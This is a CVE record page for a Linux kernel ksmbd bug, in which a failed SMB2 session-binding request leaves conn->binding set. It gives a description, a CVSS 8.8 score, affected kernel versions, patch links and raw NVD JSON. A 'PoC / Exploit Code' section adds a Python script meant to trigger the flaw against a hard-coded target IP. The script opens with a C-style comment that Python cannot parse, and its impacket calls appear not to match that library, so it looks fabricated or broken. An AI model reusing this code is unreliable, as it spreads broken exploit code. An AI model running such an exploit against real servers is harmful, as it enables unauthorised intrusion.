CVE-2026-31409

Description

In the Linux kernel, the following vulnerability has been resolved: ksmbd: unset conn->binding on failed binding request When a multichannel SMB2_SESSION_SETUP request with SMB2_SESSION_REQ_FLAG_BINDING fails ksmbd sets conn->binding = true but never clears it on the error path. This leaves the connection in a binding state where all subsequent ksmbd_session_lookup_all() calls fall back to the global sessions table. This fix it by clearing conn->binding = false in the error path.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (ksmbd module)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * PoC for CVE-2026-31409
 * This script demonstrates triggering the vulnerability by sending a malformed
 * SMB2_SESSION_SETUP request with the BINDING flag.
 * Requires impacket library.
 */

import socket
from impacket import smb
from impacket.smb3 import SMB3

def trigger_ksmbd_vulnerability(target_ip, target_port):
    print(f"[*] Connecting to {target_ip}:{target_port}")
    
    try:
        # Establish a basic SMB connection
        client = SMB3(target_ip, target_port)
        client.login('', '')
        
        print("[*] Sending malicious SMB2_SESSION_SETUP with BINDING flag...")
        
        # Construct a SESSION_SETUP request with SMB2_SESSION_REQ_FLAG_BINDING (0x01)
        # Intentionally send invalid data to trigger the error path
        packet = smb.SMB2SessionSetup()
        packet['Flags'] = smb.SMB2_SESSION_REQ_FLAG_BINDING
        packet['SecurityBufferLength'] = 0
        packet['Buffer'] = b''
        
        # Send the packet to trigger the bug
        client.sendSMB(packet)
        
        print("[+] Packet sent. If vulnerable, conn->binding is now stuck as true.")
        print("[+] Subsequent session lookups on this conn will fallback to global table.")
        
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    # Replace with actual target details
    trigger_ksmbd_vulnerability("192.168.1.10", 445)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31409
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31409
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31409/
[4] VulDB https://vuldb.com/cve/CVE-2026-31409
[5] https://git.kernel.org/stable/c/282343cf8a4a5a3603b1cb0e17a7083e4a593b03
[6] https://git.kernel.org/stable/c/6260fc85ed1298a71d24a75d01f8b2e56d489a60
[7] https://git.kernel.org/stable/c/6ebef4a220a1ebe345de899ebb9ae394206fe921
[8] https://git.kernel.org/stable/c/89afe5e2dbea6e9d8e5f11324149d06fa3a4efca
[9] https://git.kernel.org/stable/c/9feb2d1bf86d9e5e66b8565f37f8d3a7d281a772
[10] https://git.kernel.org/stable/c/d073870dab8f6dadced81d13d273ff0b21cb7f4e

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31409", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-06T08:16:38.943", "lastModified": "2026-05-20T16:15:51.630", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: unset conn->binding on failed binding request\n\nWhen a multichannel SMB2_SESSION_SETUP request with\nSMB2_SESSION_REQ_FLAG_BINDING fails ksmbd sets conn->binding = true\nbut never clears it on the error path. This leaves the connection in\na binding state where all subsequent ksmbd_session_lookup_all() calls\nfall back to the global sessions table. This fix it by clearing\nconn->binding = false in the error path."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.15", "versionEndExcluding": "6.1.167", "matchCriteriaId": "54D2788B-5D8B-4E8C-A8AD-0650F3F1B069"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.130", "matchCriteriaId": "C57BB918-DF28-46B3-94F7-144176841267"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.78", "matchCriteriaId": "28D591F5-B196-4CC9-905C-DC80F116E7A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.20", "matchCriteriaId": "E5571059-6552-48E7-9BEF-3E358C387171"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.10", "matchCriteriaId": "96D34333-38BE-4414-9E79-6EB764329581"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/282343cf8a4a5a3603b1cb0e17a7083e4a593b03", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6260fc85ed1298a71d24a75d01f8b2e56d489a60", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6ebef4a220a1ebe345de899ebb9ae394206fe921", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/89afe5e2dbea6e9d8e5f11324149d06fa3a4efca", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/9feb2d1bf86d9e5e66b8565f37f8d3a7d281a772", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/d073870dab8f6dadced81d13d273ff0b21cb7f4e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}